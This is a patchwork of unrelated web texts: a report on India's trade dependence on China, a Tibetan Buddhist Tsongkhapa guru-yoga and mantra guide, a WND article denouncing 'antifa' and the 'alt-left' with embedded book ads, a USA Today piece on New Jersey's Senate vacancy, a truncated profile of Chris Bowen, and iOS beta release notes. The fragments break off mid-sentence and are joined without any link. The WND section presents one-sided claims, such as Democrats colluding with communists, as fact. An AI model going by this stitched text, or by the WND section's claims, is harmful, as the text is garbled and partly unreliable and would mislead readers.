government departments would be reserved for local telecom gearmakers. This policy was later contested by the US and revised.Yet, India today imports telecom gear worth over Rs 70,000 crore annually, much of it from Chinese firms like Huawei and ZTE. “China has always protected its own firms and pushed companies like Apple to set up data servers locally to cater to Chinese security concerns. In the current geo-political tension, India’s concerns are natural,” says Jayanth Kolla, founder of telecom consultancy firm Convergence Catalyst.It’s the same story in the power sector. In the 12th Plan alone, almost 30% of the generating capacity was imported from China. In the rapidly growing solar energy sector, between April 2016 and January 2017, solar equipment from China had a share of 87% in a market pegged at $1.9 billion.Unsurprisingly, in a range of sectors from steel to power to telecom, calls for anti-dumping duty and safeguard duty are rising, with the government taking note and also action. Recently, the prospect of Chinese firms bidding for BSNL’s tender for a submarine cable system raised a security alarm.From mature sectors like power and telecom, China Inc is also taking positions in new sectors.The automobile sector has attracted the biggest Chinese foreign direct investment, with SAIC recently buying General Motors’ factory in Halol in Gujarat. And Fosun Pharma took a majority stake in Hyderabadbased Gland Pharma for $1.3 billion.According to consultancy firm Grant Thornton, in 2017, when inbound deals dipped, the Chinese shifted gears and accounted for 31% of the inbound deal value as against 27% from the US. China’s Tencent Holdings has so far invested $700 million in Flikart. Chinese digital giants have been investing heavily in India’s digital ecosystem — Alibaba in Paytm, and CTrip in Make-MyTrip. Chinese real estate firms like China Fortune Land Development Company and Dalian Wanda are entering India with multibillion dollar plans for industrial townships and similar projects. And Haitong Securities was one of the investment banks that managed the public issue of shares of Central Depository Services.For now, rhetoric and boycott calls have taken centre-stage in India, something that China has resorted to. Most recent example: as South Korea deployed US’s THAAD missile defence system, China got consumers to boycott Korean imports. In April, an official at South Korea’s central bank estimated this could shave 0.2 percentage points off South Korea’s economic growth this year.Can India resort to similar boycotts? Not when Chinese imports dominate bilateral trade. In the worst-case scenario, if the border standoff escalates and trade shrivels, you don’t have to be an economist to figure who will hurt more.Kai Xue, a corporate lawyer in Beijing, spells it out: “The impression is that consumer goods are the biggest import (into India).That is wrong. In reality, capital goods dominate. A boycott would mean Indian firms will have to buy costly products from others, which will dent growth,” says Kai. While China dominates India’s imports, India comprises just under 3% of its total exports.There may be options. A venture capital investor in Bengaluru says: “If India shifts sourcing of electronics from China to Taiwan, imports from China will reduce.”A recent government release, “Reducing Trade Gap with China”, shows that Chinese exports are facing pressure in markets like the US. India too is making an effort.After rising consistently, between April and February in 2016-17, exports to China rose 8.69% while imports dipped 2.26%, reducing India’s trade deficit by 4.1%. The trend may continue, what with Swadeshi Jagran Manch, declaring 2017 as the “year of the boycott of Chinese goods and companies” (see Yang for the Buck).“Boycott China. That’s what I hear these days during my morning walks,” says Yadav from Sadar Bazar. “We (wholesale traders) will support and nurture our own companies.” But he acknowledges that this cannot happen overnight. If a boycott is the call of the day, there needs to be an alternative. “For example, there is no domestic toy industry,” he says.“The economic downside won’t be very disastrous. The only people that will be disillusioned by the boycott is the Indian middle class,” says Harsh Pant, head of strategic studies at the Observer Research Foundation.Rajiv Kumar of Pahle India isn’t that sanguine. “India will be the biggest loser. Economy is at an inflection point. It will distract attention and resources away from growth,” he says. “India has to be smart and strategic. Factoring in security concerns, the government must make compelling offers to lure Chinese FDI.” |
fulfils one of the five preliminary practices.
Gaden Lhagyama Je Tsongkhapa’s Guru Yoga
Je Tsongkhapa embodies the Bodhisattvas of Compassion (Avalokiteshvara or Kuan Yin), Wisdom (Manjushri) and Power (Vajrapani). Connecting with Je Tsongkhapa by thinking of him with faith, reciting his holy mantra, meditating on his omnipresence and practising his Guru Yoga blesses us with a deep sense of peace and clarity of mind we never thought possible. It is simple, complete and effective for today’s modern individual.
Invocation “GA-DEN HLA-JI NGON-JYI THUG-KA NEY
RAP-KAR SHO-SAR PUNG-DEE CHU-DZIN TSER
CHO-KYI GYEL-PO KUN-CHEN LOZANG DRAG
SEY-DANG CHE-PA NE-DIR SHEG SU SOL”
Requesting to stay “DUN-JYI NAM-KHAR SING-TI PEE-DEE TENG
JE-TSUN LA-MA JYEH-PI DZUM-KAR CHYEN
DAG-LO DE-PE SO-NAM SHING-CHOG TU
TAN-PA JYEH-SHIR KAL-DJAR JUG-SU SOL”
Prostration and praise “SHE-JYEH CHON-KUN JAL-WEY LO-DO THUG
KAL-ZANG NA-WEY JYIN-JUR LIK-SHEY SUNG
DRAG-PI PEL-JYI HLAM-MER DZEY-PI KU
THONG-THO DRAN PI DON DHAN LA-CHAG TSAL”
Offering “YIH-WONG TCHO-YON NA-TSOG ME-TOG DANG
DRI-JEM DUG-PO NANG-SAL DRID-CHAB SOG
NGO-SHAM YIH TUL TCHO-TIN GYA-TSO DI
SO-NAM SHING-CHOG CHE-LA CHO-PA BUL”
Confession “DAG-GI TO-MEY DU-NEH SAG-PA YI
LU-NGAG YIH-KYI DIG-PA CHI-JYI DANG
CHEY-PA DOM-PA SUM-JI MI-TUN SHO
NYING-NEH JO-PA TRAH-PO SO-SOR SHAG”
Rejoicing “NIK-MI DU-DIR MANG-THO DRUP-LA TSON
CHO-JYED PANG-PI DAL-JOR DON-YO SHYE
NGON-PO CHEY-KYI LAP-CHEN DZE-PA LA
DAG-CHAG SAM-PA TAG-PEH YI RANG NGO”
Request to turn the wheel of dharma “JE-TSUN LA-MA DAM-PA CHEY-NAM KYI
CHO-KU KA-LA CHEN-TI TIN-TIK NEY
JI-TAR TSAM-PI DUL-SHIH DZIN-MA LA
ZAB-JI CHO-KYI CHAR-PA WHAP-TU SOL”
Requesting to remain “NAM-DAG WO-SAL YING-LEY JING-PA YI
ZUNG-JUG KU-LA CHAR-NUB MI-NGA YANG
THA-MAL HNANG-NGOR ZUG-KU RAG-PA NYI
SEE-THEE BAR-DU MI-NUB TAN-PA SHUG”
Note: For auspicious reasons, we request the Guru to remain a second time, until the end of samsara, which is unlike most 7 limb prayers.
Dedication “DAG-SOG JIN-NYEH SAG-PA GE-WA DEE
TAN-DANG DRO-WA KUN-LA GANG-PHAN DANG
CHE-PA JE-TSUN LO-ZANG DRAG-PA YI
TAN-PI NYING-PO RING-DU SAL-SHEH SHOG”
Migtsema (Mantra of Je Tsongkhapa) “MIG-MEY TZE-WEY TER-CHEN CHENREZIG
DRI-MEY KHYEN-PI WANG-PO JAMPAL YANG
DU-PUNG MA-LU JOM-DZEY SANG-WEY DAG
GANG-CHEN KE-PEY TSUG-GYEN TSONGKAPA
LO-SANG TRAG-PEY SHAB-LA SOL-WA DEB”
(Recite 21x or more, depending on time)
This can be recited anytime, anywhere, as many times as possible. It has the benefits of receiving the blessings of Avalokiteshvara Manjushri and Vajrapani.
Dissolving Je Rinpoche into ourselves “PAL-DAN TSA-WEY LA-MA RINPOCHE
DAG-SOG CHI-WOR PE-ME DAN-JUG LA
KA-DRIN CHEN-PO GO-NEY JE-ZUNG TE
KU-SUNG THUG-KYI NGO-DRUP TSAL-DU SOL”
“PAL-DAN TSA-WEY LA-MA RINPOCHE
DAG-SOG NYING-KHAR PE-ME DAN-JUG LA
KA-DRIN CHEN-PO GO-NEY JE-ZUNG TE
CHO-DANG THUN-MONG NGO-DRUP TSAL-DU SOL”
“PAL-DAN TSA-WEY LA-MA RINPOCHE
DAG-SOG NYING-KHAR PE-ME DAN-JUG LA
KA-DRIN CHEN-PO GO-NEY JE-ZUNG TE
JANG-CHUB NYING-PO BAR-DU TAN-PAR SHUG”
Lama Tsongkhapa’s Migtsema
Mantras are the Buddha’s body, speech and mind qualities manifesting in the form of sound. Hence they can affect us deeply and bless our minds. Mantra combined with visualisation and meditation can unlock our subconscious mind to higher states of thinking such as altruism, care, etc. There are many types of mantras, open and secret. But a general all-rounder mantra that encompasses so many qualities that we need is Migtsema.
Tsongkhapa’s Migtsema mantra is a wonderful, peaceful, all-encompassing mantra that is suitable for anyone at any stage of practice. Tsongkhapa’s holy image encompasses the complete 84,000 teachings of Buddha in iconography form. His body is a ‘roadmap’ to Nirvana. Seeing, hearing, contemplating and meditating on the Gentle Tsongkhapa brings incredible blessings for today’s individuals without much time. With so many distractions that we call technology, a short concise practice such as Tsongkhapa’s Gaden Lhagyama is very much applicable.
Commentary
Mantras are the enlightened energies of Buddha’s body, speech, mind in the form of sound and can deeply bless and affect our minds. When we recite mantras, it is important to maintain a good visualisation and meditation. This taps into the unconscious or subtle mind and can transform the negative delusions of our mind to higher states and qualities of thinking such as compassion, generosity, patience, care etc.
This mantra contains he energies of the three Buddhas as follows:
The origin of the Migtsema mantra, which has been described in the autobiography of Lama Tsongkhapa, is a very wonderful story that illustrates Lama Tsongkhapa’s Guru Devotion and the wonderful relationship he had with his teacher, Tsongkhapa extracted a verse from Manjushri’s text and adapted it as an offering to Jetsun Rendawa, the great Sakya Master who was one of Lama Tsongkhapa’s esteemed Gurus.
Je Tsongkhapa offered the verse to his Guru, Jetsun Rendawa, but Rendawa returned the verse to him, saying, “No, this verse is not appropriate for me. You are Avalokiteshvara, you are Manjushri, you are Vajrapani, and this verse is more appropriate for you.” So his own Guru changed the words from “Jetsun Rendawa” to “Tsongkhapa” in the fourth line and gave the prayer back to him.
The actual words first came from Manjushri’s mouth; Lama Tsongkhapa put in his Guru’s name and offered the verse up to his Guru; and finally, his Guru altered the verse to include Tsongkhapa’s name and returned it to him. It was not something Lama Tsongkhapa made up. It was something given to him by his Guru which was extracted from Manjushri’s text. This is now called the Migtsema prayer and it is very holy, powerful and excellent.
Reciting Migtsema
The number of Migtsema mantras that you wish to recite is up to you. You should do at least 21 mantras every day. It will only take two minutes! You should recite this mantra every single day, especially now that you know the benefits. Simultaneously, you should try to get a statues or a picture of Lama Tsongkhapa and make offerings. It is a beautiful and wonderful practice.
Visualize your Guru here (or all your Gurus if you have more than one) and all the holy Beings of the Gelug lineage tree, containing all the Buddhas, Bodhisattvas, Yidams, self-realisers, foe-destroyers, dakas, dakinis, arhats and Dharma protectors.
Visualize all this in the light and dissolving into Lama Tsongkhapa. And he is there in front of you. Why visualize 500 deities when you do not even know where they are, what they are or what they look like. They cannot even fit into the room! Instead, visualize one nice image of Lama Tsongkhapa, small, simple, clean with his two disciples. It is very simple yet bestows all the same blessings as if we propitiated the entire Gelug lineage tree.
When we recite the Migtsema, do not think about mundane matters; things like “How many sales did I make in my store today” Did I turn off the kettle?” Do not think about these things. The attainment of Enlightenment is in the mind. By just reciting the prayers, you will collect some good merit, but you will not become enlightened. It is not possible. You must do the meditations also.
Mala
While you are reciting the mantra, hold your mala (your string of prayer beads) and sit straight, in a meditation posture if possible. Hold your mala up in your hand – practically, the left hand is better for Tantra (as this activates certain energy and wind channels within your body) but using the right hand is also fine. As you finish reciting the complete mantra once, you pull one bead towards you.
The total number of beads in a mala should be 108. The best beads are made of bodhi seeds or lotus seeds. Crystal is also very good and is excellent for gaining compassion. It would be best if you could use a mala with bodhi seeds; if not lotus seed, crystal, wood, sandalwood or any other material of your choice is also permissible. Use what you feel most comfortable with at this stage and find a size that suits you best.
A mala that is blessed by your teacher is excellent. If not, you can bless it yourself. Recite Migtsema three times and bless the mala by blowing directly onto it. The mala should not be taken into the toilet; if it is, you should bless it again. It should not be kept on the floor, stepped under, or used in ways such as for decoration or as ornaments. Your mala should be kept very clean as befitting for a holy object. If you keep it wrapped around your hand or if you wear it around your neck, keep it as clean and beautiful as possible.
The mala should be used. If you are using it well for your mantras, the colour of your mala will reflect that. If your mala is very light and clean, it will reflect that you have not used it very much! A mala is not beautiful because it has ornaments, gold and silver. It is beautiful when it has turned dark and shiny from being used; malas like these will become very powerful.
While you recite the mantra, make sure that the mala is always clean and nice. Do not give your mala to other people to use. It is yours. If some people have negative energy, the energy will go onto the mala; then when you take it back, that negative energy comes to you. It is better to keep your mala to yourself. This is very important.
It would be good if you have two malas – one mala can be used for Lama Tsongkhapa’s practice, at home and another can be used for general, for going out or travelling. Or you can just keep one mala – that would also be fine.
When the great meditators of the past die, people will then for the first time find their malas in boxes or hidden away inside their meditation caves. They would have never shown their malas during their lifetime. These high meditators, who have very high attainments, keep everything covered. Tantric practice is very secret. The mala is not something ordinary; it is very secret and very powerful. If you do your practices well, it can become an object of great protection to give to people.
Do not think that you do not have power because you are not a Lama. No, believe that the mantra itself has power and Lama Tsongkhapa has power. If you recite Migstema and blow the mantra on the mala, it will become powerful.
Appropriate behavior when reciting Migtsema
When people recite the Migstema, you should not burp, fart, talk, laugh, sneeze, cough or fidget and move around. If you do, you must recite the mantra seven times extra to correct this disrespect.
However, if you are doing a long retreat, you can pause to take a drink. You can get up, put your mala down and go to the bathroom if you need to. After you finish, rinse your mouth, wash your hands, return to your meditational seat and start again. But do not talk or do anything unnecessary. Do not stop by the kitchen on the way back and get a cheese sandwich! Then, if you did 100 malas of mantras already, you can start the 101st round. You would not have broken the session.
If you stop or break the session, you will have to start all over from the beginning. For example, if you did 1000 mantras, you cannot count the 1000; you must start from 1 again! If you accidentally fall asleep, the mantras that you have done up until that point do not count! If on a particular day you have intended to recite 6000 mantras and you fall asleep at the 5999th mantra, it is too bad! You will have to start all over again at 1 for that day. All the mantra counts from the previous days are still counted and not erased; it is only the amount for that particular day that you fell asleep that is erased. Of course, when you are doing a retreat, it is much better if you do not fall asleep at all!
When you recite the mantra, there should not be music or talking. Sit straight with a good posture. It is very important. Then, you will gain the benefit in doing the visualization together with the mantra.
While you are reciting Migtsema, there are many ways to do visualizations of Lama Tsongkhapa. You can do the visualization in many, many ways to purify your karma.
Extracted from the blog of His Eminence Tsem Tulku Rinpoche and the Tsongkhapa Boxset.
BACK TO TOPProgressives haven’t stopped with tearing down Confederate statues: The Founding Fathers, Christopher Columbus and even Abraham Lincoln are all under attack by masked extremists.
Trump supporters, people waving the American flag and even completely random white people have been stabbed or attacked by ironically named “anti-fascist” groups, or “antifa,” who accuse everyone who is not a communist of being a Nazi.
Just weeks after Republican lawmakers narrowly escaped a massacre at the hands of an unhinged Democrat, the leftists are doubling down on violence.
President Trump pointed out it was the left-wing extremists who initiated the violence in Charlottesville by attacking a legally sanctioned demonstration. And he called the “Antifa” the “alt-left,” forever branding this growing group of radicals.
But what is the alt-left? The mainstream media is claiming there is no such thing. Yet close observers of American college campuses are not surprised by what is happening nationwide.
The “alt-left” has not only been a force in American higher education; it practically runs the campuses. Violent, extremist and viciously anti-white gangs have shut down classes, chased dissenters off campus and engaged in property destruction and wholesale riots that have reduced entire colleges to places that more closely resemble open-air asylums than institutions of higher learning.
It’s a story skillfully told by one of the conservative movement’s rising stars, Scott Greer, author of the explosive book “No Campus For White Men: The Transformation Of Higher Education Into Hateful Indoctrination.”
After observing how the most extreme elements of the left have taken over American higher education, Greer urges conservatives not to underestimate the radical students many dismiss as “snowflakes.”
“Identity politics really does work in the public sphere,” Greer told WND. “They do see it as working. I think every time they see a success where they bring down a university president, or get people fired, or are able to intimidate and harass students in order to make them leave campus just because they support Donald Trump, that only emboldens them to keep using these tactics. And they will keep identifying by their racial or gender identity rather than appealing to logical argument and reason.
“There’s something very sinister here. And what I came to find out through my research is that there’s a very destructive form of identity politics taking hold of higher education. We see it not just on college campuses, but even in our political discourse right now, where people just cite their identity as a minority and say that’s the end of the discussion.”
Greer warns what is happening on college campuses now is spreading to the entire country. For this reason, he argues, it is critically important to understand how the alt-left operates at universities today.
“It allows for many terrible things to happen, such as the suppression of free speech, students being intimidated and harassed because conservatives existing somehow ‘intimidates’ minority students who deserve special privileges just due to their identity as a minority,” he said. “That’s what the real purpose of ‘No Campus For White Men’ is, to explore what’s really happening on college campuses and what’s the ideological motivation behind what’s happening on a lot of these campuses.”
Political correctness is just the beginning. The situation on college campuses is worse than you could ever imagine – and America’s future is at stake. Don’t miss the political blockbuster of 2017 – “No Campus For White Men” by Scott Greer.
And in many ways, the “alt-left” is simply the combination of the most retrograde elements of the old communist left. Despite the fall of the Soviet Union, communists and far-left groups continue to operate and organize in the United States, including at the highest levels of the Democratic Party. Today, instead of appealing to class interests, communists use identity politics and the supposed threat of “white racism” to deconstruct the country.
Researcher Trevor Loudon exposes how anti-American activists are operating from within the U.S. government in “The Enemies Within.”
This shocking film shows how “mainstream” Democrats work hand-in-glove with the most radical communists, Islamists and anti-white activists to undermine America.
For example, Congressman Keith Ellison, now deputy chairman of the Democratic National Committee, has fiercely defended the Muslim Brotherhood, worked closely with Communist Party members during his rise to power. And while in law school, he even supported the creation of a blacks-only independent state.
“The Democratic Party is essentially an anti-American party now,” Loudon said. “Its goal is to unite all progressive factions to form a permanent majority ruling bloc. Ellison is perfect for the job.”
The most dangerous enemy is the one who operates from within your own gates. Discover the traitors within our own country and help spread the word about how America is already under attack. Don’t miss “The Enemies Within” available now in the WND Superstore.
Finally, not a few people have noticed the far-left group known as “antifa,” despite being supposedly “anti-fascist,” uses the stereotypical tactics of fascists. They attack people they don’t like, and ruthlessly shut down any dissent.
Author Dinesh D’Souza argues fascism is a left-wing ideology that is in power even today. In “The Big Lie,” he exposes the hidden history the progressive movement is desperate to conceal. And he shows how so-called “anti-fascists” are operating from the fascist playbook.
D’Souza explained the current leftist tactic of targeting and removing political dissidents from jobs or positions of influence is simply an old fascist strategy.
“The Nazis called this ‘Gleichschaltung,’ meaning coordination, but it really refers to beating the whole society, using the institutions of culture – media, film, the state – against your opposition to make them cower before you,” he observed.
“The reason Trump is such a renegade is because he refuses to cower before these guys. Mitt Romney will cower. McCain will cower. Conservative intellectuals are perfectly happy to do genuflections. But Trump won’t do it. And I think he’s stronger for it.”
The first step to fighting back, says D’Souza, is understanding what is really driving the American left.
“The first solution is to be informed, and I don’t mean be informed in a generic sense,” he said. “I mean have at your disposal, in your quiver, the arrows to shoot down the big lie. In my last book and movie, ‘Hillary’s America,’ I tried to shoot down the race card, show how bogus it is. Democrats transferring responsibility for their own bigotry onto the Republican Party which was trying to stop them. This is what’s going on with the fascism card. The real fascists are on the left, fascism is a leftist ideology. They’re trying to project it onto the right; you need to be able to have the weapons to shoot them down.”
It’s repeated endlessly by the liberal media. By the Democrats. By the professors. By the hypocritical celebrities in Hollywood. It’s the single biggest lie about American history and American politics – a lie so shameless and grandiose you’ll wonder how they are getting away with it. Dinesh D’Souza is back to tell you about “The Big Lie: Exposing The Nazi Roots Of The American Left.” Available NOW in the WND Superstore. If you want to understand American politics today, don’t miss it!Confusion over New Jersey state law on when there will be a special election to elect Democratic Sen. Frank Lautenberg's successor.
New Jersey Gov. Chris Christie, a Republican, sometimes sparred with the late Sen. Frank Lautenberg, a Democrat. (Photo: Dave Kotinsky, Getty Images) Story Highlights State law gives GOP governor the power to appoint Democratic Sen. Frank Lautenberg's replacement
Confusion over when the special election would be held in New Jersey
Will Gov. Christie's appointment help or hurt Republican Party in blue state?
WASHINGTON – Sen. Frank Lautenberg's death on Monday creates both peril and opportunity for New Jersey Gov. Chris Christie.
The Republican governor by state law gets to appoint the Democratic senator's replacement and call a special election for a successor to serve until Lautenberg's term ends in January 2015.
STORY: Obituary of Sen. Frank Lautenberg, D-N.J.
The question of when that special election will be held, however, is the subject of much debate. There are contradictory clauses in the New Jersey statute dealing with vacancies. One would put the special election on Nov. 5, the same day Christie is on the ballot as he seeks a second term as governor. The other is that the special election can't be held until November 2014.
Political experts in New Jersey say Christie could appoint a close GOP ally to take the place of Lautenberg and give his appointee a running start for the special election. Or Christie could appoint a caretaker or even a Democrat to show bipartisanship. The Senate vacancy comes as Christie is highly touted as a potential Republican candidate for president in 2016.
Christie "basically has to make a bet: Do you try to build national appeal as an independent and someone who can go beyond red-blue divisions or do you assure national Republicans that you understand how the game is played and that you'll be loyal to the party in the end," said Julian Zelizer, a history and public affairs professor at the Woodrow Wilson School of International and Public Affairs at Princeton University.
The governor gave no clue Monday as he eulogized Lautenberg, his occasional nemesis, as a "fighter"and an "honest and dedicated public servant."
STORY: Obama leads tributes to Sen. Lautenberg
Lautenberg, 89, died of complications from viral pneumonia on Monday. He was the last World War II veteran serving in the U.S. Senate and the oldest member of the institution.
One political factor: Newark Mayor Cory Booker, a Democrat and Christie friend, already announced his intention to run for the Senate in 2014, well before Lautenberg had declared he would retire at the end of his fifth term. Booker consistently has led New Jersey polls for the Democratic Senate nomination.
If the special election were held this November and Booker were the Democratic nominee, his presence on the ballot could boost turnout and help state Sen. Barbara Buono, who is running for governor. Christie currently leads Buono by an average of 32 percentage points in recent statewide polling, according to RealClearPolitics.
"The No. 1 thing that Gov. Christie hopes for is he racks up an enormous victory in November," said Matthew Hale, an associate professor in political science and public affairs at Seton Hall University. "Adding the Senate race to the ballot in November might change that dynamic. He has to think about that."
New Jersey has run blue in presidential elections and political handicappers such as the Cook Political Report have rated the 2014 Senate race as "likely Democrat."
A Republican has not won an election to the U.S. Senate in New Jersey since 1972, when Clifford Case won his final term. Case went on to lose a GOP primary in 1978.
Former New Jersey governor Tom Kean; his son, Tom Kean Jr., the state Senate minority leader in Trenton; Lt. Gov. Kim Guadagno; and state Sen. Joe Kyrillos have been mentioned in news reports as Republicans whom Christie could appoint to the Senate.
Booker did not mention his Senate race or the vacancy in his statement praising Lautenberg, calling the senator a "true champion" and "model of service."
Ruth Mandel, director of the Eagleton Institute of Politics at Rutgers University, stressed the implications of Christie's Senate appointment and the timing of the special election go beyond New Jersey. Democrats currently have a 55-45 voting edge in the Senate and Republicans need a net gain of six seats in 2014 to gain power.
"There are lots of questions," said Mandel, also founder of the Center for American Women and Politics at Rutgers. "This could give the governor an opportunity to appoint a woman, at least in the interim. That would open a base of voters and be a sign of moving forward on shared leadership between men and women."
Former governor Kean declined to discuss the politics of the Senate vacancy and would only say he does not envy the choice facing Christie, who has occasionally turned to him for counsel.
"I had to appoint a senator. It's a tough job," Kean Sr. said. "You make one friend and 30 enemies."
Follow @ccamia on Twitter.
Read or Share this story: http://usat.ly/17jsEBE"Sometimes I think, 'well, nothing else in politics is quite like having your life threatened.'" Credit:Nic Walker Bowen has no prepared comments but knows his target - the government's failure to release costings for its business tax cuts, the centrepiece of its economic plan and bid for re-election. As his allotted time expires, he's hoarse and flagging noticeably. Pyne, the government's mischief-maker in chief, rises and grants Bowen a five minute extension of time as he has "yet to make a substantive point". Cue cries of "More! More!" from government MPs. Bowen becomes even more frenetic, his face seeming to take on the same hue as his purple tie. When he falls back on the green leather upholstery of the Opposition benches, government members jeer, his own side cheers, and any fears he was about to rupture an aneurysm in the chamber have been allayed. Pyne and the government front bench have had Bowen in their sights for months, comparing him in the House to Ben Stiller's movie character Derek Zoolander, the dim, "really, really ridiculously good-looking" male model famed for his signature "blue steel" look: pursed lips and preposterous, penetrating stare.
Bowen and his wife, Rebecca Mifsud ("He wore me down," she says of his courting technique), with their son Max, 8, and daughter Grace, 11. It's a jibe born of Bowen's recent penchant for tight tailored suits and fitted shirts which showcase his newly svelte form. But the government's merrymaking betrays its unease. Bowen - at 43, still the second youngest person in shadow Cabinet - has emerged as arguably the driving force behind Labor's resurgence in the polls. With an economics degree and of a book about Australia's treasurers behind him, Bowen commands his brief and is quick to expose government mistakes. He has been the architect of Labor's decision to go hard and early on economic policy, a strategy not seen since John Hewson disastrous stint as Liberal leader in the early 1990s. By targeting one of the great Australian pastimes—negatively gearing investment property—Bowen has butchered another sacred cow of modern politics. Chris Bowen began lobbying his local western Sydney council for civic improvements while still in primary school. Credit:Nic Walker In the second Rudd government, Bowen was the shortest serving Treasurer in Australian political history, barring a couple of Prime Ministers who briefly took the job while they settled their Cabinet appointments. Now, with the campaign in full swing and Labor in an improbably competitive position, he might just be about to make a return to the position.
-------------------------------------------- "You can't change the country without possessing the mad gene... those who have it get the big changes made." Paul Keating To describe Bowen's interest in public affairs as precocious hardly does justice to his early fascination with politics. Growing up in a fibro home in a cul de sac in Smithfield in Sydney's western suburbs, Bowen began agitating for civic improvements and writing to the local newspaper when he was at primary school. An early crusade saved the Smithfield library. Another saw Bowen write to every counsellor demanding they provide larger garbage bins, earning him a front page article and photo in the local paper. "I thought all the other councils had really big bins, and we only had these dinky ones. It's all pretty embarrassing," laughs Bowen as we talk in his Parliament House office. "Yes, I was a nerd." Bowen's father Ross worked at the NRMA on the midnight to dawn shift, in charge of dispatching help to roadside breakdowns. "He used to come home in the morning and have a scotch before sleeping through the day. So I grew up with the smell of milk and scotch over breakfast, Bowen recalls. "To this day, I still like to have a scotch before I go to bed. But that's 10.30 at night, not 7 o'clock in the morning."
His mother, Christine, was a carer, taking in kids during the week to help working parents struggling to cope. For several years, Bowen shared his bunk bed during the week with a boy, Matthew, who suffered from cerebral palsy. His parents, observed Bowen in his maiden speech, taught him "not by lessons and homilies, but by example." In Year 6, Bowen won his school's citizenship prize and was rewarded with a $10 book voucher. He went to Angus & Robertson and bought Paul Kelly's "The Hawke Ascendancy", devouring the 400-page tome on Bob Hawke's rise to the Prime Ministership. "I found it fascinating. I particularly remember the John Button letter to Hayden saying it's time to go." In the letter, Button attempts to persuade Hayden to stand aside for "a bastard like Bob Hawke", telling him it's "never been a disqualification for leadership of the party". It was quite an introduction for a boy to the brutal unsentimentality of power politics, and one that hardly deterred him from his chosen path. At 15, Bowen attended his first Labor Party branch meeting at the Brennan Park community hall. He recalls with some glee the reception when he turned up. "There were two preselections coming up and everyone looked at me and said "Who stacked this kid in?'", he laughs. "I was awestruck. I thought it was great. I thought it was fantastic. I was hooked for life." The teenager quickly decided that he wanted to become the federal member for what was then the seat of Prospect (renamed McMahon in 2010).
Bowen was a driven student and the thump of a soccer ball against his neighbour's garage was the soundtrack to his high school study sessions. Harry Kewell, the great Australian attacking midfielder, lived across the road and practised his shooting relentlessly. "We used to play street soccer," says Bowen. "He always used to win which annoyed me at the time, although I don't feel so bad about it now." By the time he went to the University of Sydney to study economics in 1991, Bowen was totally immersed in the affairs of his local ALP branch. University politics didn't interest him in the slightest. "He regarded it as flippant, a frippery," says Robert McMahon, a close companion of Bowen's at the time who remains a friend, and is now a senior public servant in Canberra. ""Most 18 year olds we knew at university were at the Wentworth building drinking beer. Chris would take off each night to go back to Fairfield to do the numbers, make the connections and advance his career. He was very focused, almost improbably so at that age." Bowen gravitated to a small group of very earnest students of varying ideological inclinations who were passionate about government. (They still meet every few years for dinner). When Nick Greiner resigned as NSW premier in 1992, they all rushed down to parliament to sit in the public gallery and watch the drama unfold. Tom Switzer - friend of Tony Abbott, former Liberal Party staffer and conservative commentator, studied Economics 101 alongside Bowen, tutored by a young lecturer named Yanis Varoufakis, a dynamic young academic famed for his ponytail and tight-fitting T-shirts. Varoufakis later became Greece's finance minister in its left wing government, negotiating with the European Union to restructure Greece's monster debt as he railed against the foibles of capitalism. It's fair to say neither Bowen, nor Switzer for that matter, were heavily influenced by Varoufakis. A look of mock horror crosses Bowen's face when I point out the connection. "You don't have to mention that do you!"
"Chris was just really intelligent, incredibly bookish," says Switzer. "That's still the case. He reads very widely, not just his policy briefs but magazines, journals, books and takes a serious interest in all the different schools of thought. It's a very admirable trait in a politician." In the year he graduated from university, John Newman, the local NSW Labor MP, and a friend of the Bowen family, was murdered. "That was a huge shock," says Bowen, whose disquiet was compounded when he was elected to FairField Council the next year. Sitting among the five members of the ALP caucus was Phuong Ngo, the prime suspect in the Newman murder. A Vietnamese refugee who had built a formidable business and political power base around Cabramatta, Ngo had been publicly accused by Newman of links to the 5T gang that ran the heroin trade that had ravaged the suburb. "A lot of people found him charming. Urbane, sophisticated. Or they found him cunning and deceitful. I was very much in the latter category," says Bowen. "I immediately had my suspicions." Ngo brought to Bowen a plan to elevate himself to mayor and give Labor the numbers on the council. It involved changing the traffic rules to the benefit of the business interests of one of the independent councillors who would thenswitch his vote to support Labor. Three of the five Labor councillors backed the plot. "I said 'No. This is dodgy'," says Bowen. "Phuong said 'Well, I will charge you under party rules for breach of caucus because I have the numbers'." Bowen maintained that the deal was corrupt and said he would take it to the Independent Commission Against Corruption, which enraged Ngo, who confronted him in a meeting room at Fairfield Council chambers. "I will never forget this," says Bowen. "He turned to me and said 'Anyone who stops me, I will pursue them to their grave'." Bowen held his ground, but not before going home, firing up his word processor and recording what had transpired. "I put it in a draw in case anything happened," he says. (Bowen declines to let me see it.) "Sometimes I think, well, nothing else in my political life is quite like having your life threatened."
----------- At an industrial estate in Wetherill Park, the sun is rising and Chris Bowen is beginning his regular 6.15am workout at the F45 gymnasium. He is focused, even a little on edge, as he moves through the 45 minutes of "high intensity interval training", a gruelling circuit of light weights, cardio, squats and sit-ups led by his trainer Troy Pullen. One exercise involves lying flat on a dome, using your stomach muscles to propel yourself onto your feet before jumping onto a small block. Bowen does it easily. His chief of staff, James Cullen, and I flay around |
menu, you may see an empty sheet. This happens when the containing app has a single keyboard target. Workaround: To add the keyboard, tap Done on the top-right of the sheet.
The Delete button may not show up when trying to remove an iPad keyboard. Workaround: Tap on the blank space where the Delete button would be to remove the keyboard.
Localization
Known Issue There are a number of strings that will display in English for people running the iOS in other languages. Known areas include, but may not be limited to: Podcasts: not localized for Hindi, Australian English, Traditional Chinese (Hong Kong/zh_HK), or Canadian French
Messages/iChat: “%@’s Location” not localized in any language
Health/Healthkit: not localized for Arabic, Austrailian English, British English, Croatian, Czech, Spanish (Spain), Hebrew, Hindi, Traditional Chinese (both zh_TW and zh_HK), Japanese, Korean, Swedish, Ukrainian, and Vietnamese
Spotlight Search “Learn More” explanatory text: not translated
Data Activation Strings “Location is required”, “Location Unavailable”, “Location Disabled”: not translated in all languages
Camera: most UI is not translated in all languages
Location Services
Fixed in beta 2 Apps using visit monitoring that are denied location authorization via Settings may appear to continue using location when they are not.
Visit monitoring may continue if an app is uninstalled while it is monitoring for visits.
When Location Services is turned on, the device’s current location is used to recommend relevant apps on the lock screen. In this beta, this happens whether or not the App Store is enabled for Location Services.
The CLVisit class incorrectly declares the coordinate and horizontalAccuracy properties as read/write.
Known Issue When Location Services is turned on, the device’s current location is used to suggest relevant apps on the lock screen. These suggested apps will remain on the lock screen even after leaving the relevant location.
Lock Screen
Known Issues Sometimes devices may not wake when the home button is pushed. Workaround: Use the sleep/wake/power button.
Tapping Emergency on the lock screen does not do anything.
